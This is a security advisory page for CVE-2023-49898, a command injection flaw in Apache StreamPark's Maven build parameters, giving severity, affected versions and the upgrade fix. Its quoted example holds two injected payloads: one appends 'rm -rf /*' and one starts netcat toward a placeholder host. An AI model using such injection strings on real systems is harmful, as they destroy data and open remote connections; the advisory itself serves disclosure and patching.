CVE-2023-49898 Apache StreamPark (incubating): Authenticated system users could trigger remote command execution

High 7.2 Published Updated

Authenticated users can execute arbitrary commands via unvalidated Maven compilation parameters in Apache StreamPark.

Exploited in the wild
Not known
Login needed
An administrator
Attackable
Over the internet
Victim action needed
Not needed
Fix
Available

What is CVE-2023-49898?

CVE-2023-49898 is a high-severity command injection vulnerability in Apache StreamPark (incubating), published on 15 Dec 2023. An attacker needs administrator access to exploit it, with no action from the victim.

Official description

In streampark, there is a project module that integrates Maven's compilation capability. However, there is no check on the compilation parameters of Maven. allowing attackers to insert commands for remote command execution, The prerequisite for a successful attack is that the user needs to log in to the streampark system and have system-level permissions. Generally, only users of that system have the authorization to log in, and users would not manually input a dangerous operation command. Therefore, the risk level of this vulnerability is very low.

Mitigation:

all users should upgrade to 2.1.2

Example:

##You can customize the splicing method according to the compilation situation of the project, mvn compilation results use &&, compilation failure use "||" or "&&":

/usr/share/java/maven-3/conf/settings.xml || rm -rf /*

/usr/share/java/maven-3/conf/settings.xml && nohup nc x.x.x.x 8899 &

Weakness: CWE-77

Which versions are affected by CVE-2023-49898?

2 open source packages ship an affected version, including org.apache.streampark:streampark. It affects 1 product.

PackageAffectedFixed in
org.apache.streampark:streampark MavenFrom 2.0.02.1.2
org.apache.streampark:streampark MavenFrom 2.0.02.1.2

Products include Apache Streampark.

How do I fix CVE-2023-49898?

Upgrade org.apache.streampark:streampark to 2.1.2 or later.

Upgrade, and pass arguments to programs as a list instead of through a shell. More about Command injection.

Is CVE-2023-49898 being exploited?

There is no known exploitation of CVE-2023-49898 in the wild and no public exploit code.

Sources

Also known as GHSA-qg44-xqwj-wc28.

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